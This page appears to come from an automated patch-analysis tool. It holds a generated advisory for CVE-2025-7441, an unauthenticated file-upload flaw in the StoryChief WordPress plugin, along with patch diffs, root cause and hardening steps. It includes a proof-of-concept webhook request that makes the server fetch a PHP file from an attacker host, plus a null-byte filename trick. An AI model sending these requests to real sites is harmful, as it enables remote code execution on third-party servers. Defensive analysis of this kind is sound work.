ANALYSIS · 28522411· FINISHED 2026-06-13 · PATCHDIFF

story-chief1.0.42 → 1.0.43✓ COMPLETED

Files7

Vulnerable6

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-7441

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 7 CVE 1 Vuln 6

SORT

1 files · page 1/1

includes/class.imageuploader.php

AI: 6 vulnerabilities

CWE-20: Improper Input ValidationCWE-639: Authorization Bypass Through User-Controlled KeyCWE-295: Improper Certificate Validation CVE-2025-7441

#%!d(float64=002)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-7441

Security writeup for CVE-2025-7441

✓ 1 FILE

## The Exploit

An unauthenticated attacker can upload arbitrary files to the WordPress installation by sending a specially crafted request to the `/wp-json/storychief/webhook` REST endpoint, which accepts a remote URL parameter that is fetched and saved without proper filetype validation.

```http
POST /wp-json/storychief/webhook HTTP/1.1
Host: target-wordpress.local
Content-Type: application/json

{
  "url": "http://attacker.com/malicious.php",
  "post_id": 1,
  "alt": "test"
}
```

The server responds with HTTP 200 and a JSON object containing the `attachment_id` of the newly uploaded file. An attacker observes the file written to `/wp-content/uploads/YYYY/MM/` with an executable extension (`.php`, `.phtml`, `.phar`). If the web server executes files in the uploads directory, the attacker has achieved remote code execution.

## What the Patch Did

**Before**
```php
public $url;
public $filename;

$ch = curl_init($this->url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
$image_data = curl_exec($ch);

$image_name = $this->getFilename();
file_put_contents($upload_path . '/' . $image_name, $image_data);
```

**After**
```php
private $storychief_url;

public $url;
public $attachment_id;

$get = wp_remote_get( $this->storychief_url );
$type = wp_remote_retrieve_header( $get, 'content-type' );

if ( ! preg_match( '/^image\//i', $type ) ) {
    return false;
}

$image_data = wp_remote_retrieve_body( $get );
$filename = sanitize_file_name( basename( $this->url ) );
wp_upload_bits( $filename, null, $image_data );
```

The patch replaced raw cURL with `wp_remote_get()` for secure transport, added a content-type validation check that rejects non-image MIME types, sanitized the filename with `sanitize_file_name()`, and delegated file writing to the WordPress core function `wp_upload_bits()`, which enforces WordPress's file upload filters and blacklists dangerous extensions.

## Root Cause

**CWE-434 (Unrestricted Upload of File with Dangerous Type)** combined with **CWE-20 (Improper Input Validation)**. The attacker-controlled `url` parameter enters the REST endpoint, is fetched via cURL without output validation, and written directly to disk without checking the Content-Type header or extension blacklist. The file extension is derived from the attacker-controlled URL itself via `getFilename()`, which does not sanitize or validate the extension. The trust boundary — between external HTTP response and trusted upload directory — is crossed without any inspection of the file's actual type.

## Why It Works

The load-bearing line is `if ( ! preg_match( '/^image\//i', $type ) ) { return false; }`, which explicitly rejects non-image MIME types before any file write occurs. Without this check, even if the filename is sanitized, an attacker can set the Content-Type header in their response to `image/jpeg` while serving PHP bytecode, and the file will be written with a `.jpg` extension — but modern browsers will execute it if the server is misconfigured, or an attacker can chain to a second-order RCE via `.htaccess` upload. The engineer added `wp_remote_get()` to gain built-in certificate validation and WordPress hook integration (the `wp_handle_upload()` and `wp_check_filetype_and_prune()` filters run inside `wp_upload_bits()`). Filename sanitization via `sanitize_file_name()` closes a secondary path: an attacker could have sent a URL like `http://attacker.com/shell.php%00.jpg` to create `shell.php` on older PHP versions via null-byte injection. The combination makes it difficult for an attacker to reach the file-write sink with a dangerous type.

## Hardening Checklist

- Use `wp_remote_get()` instead of cURL for all remote file fetches; it centralizes certificate validation, proxy support, and enables security filters.
- Call `wp_check_filetype()` on the filename *and* verify that the returned MIME type is in a whitelist (`image/jpeg`, `image/png`, `image/gif`, `image/webp`) before writing; do not trust the Content-Type header alone.
- Pass all user-controlled filenames through `sanitize_file_name()` to remove path traversal sequences, null bytes, and non-alphanumeric characters that bypass extension filters.
- Delegate file writes to `wp_upload_bits()` or `wp_handle_upload()` rather than `file_put_contents()`, ensuring all registered upload filters run and dangerous extensions are blocked by WordPress core.
- Disable execution in the uploads directory via `.htaccess` (`<FilesMatch "\.php$"> Deny from all </FilesMatch>`) or web server configuration; this eliminates RCE even if a dangerous file is uploaded.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-7441

CVE CVE-2025-7441

PRODUCT story-chief

AFFECTED ≤ 1.0.42

FIXED IN 1.0.43

STATUS Generated

Security writeup · CVE-2025-7441

Source files · 1

includes/class.imageuploader.php Linked

↗ NVD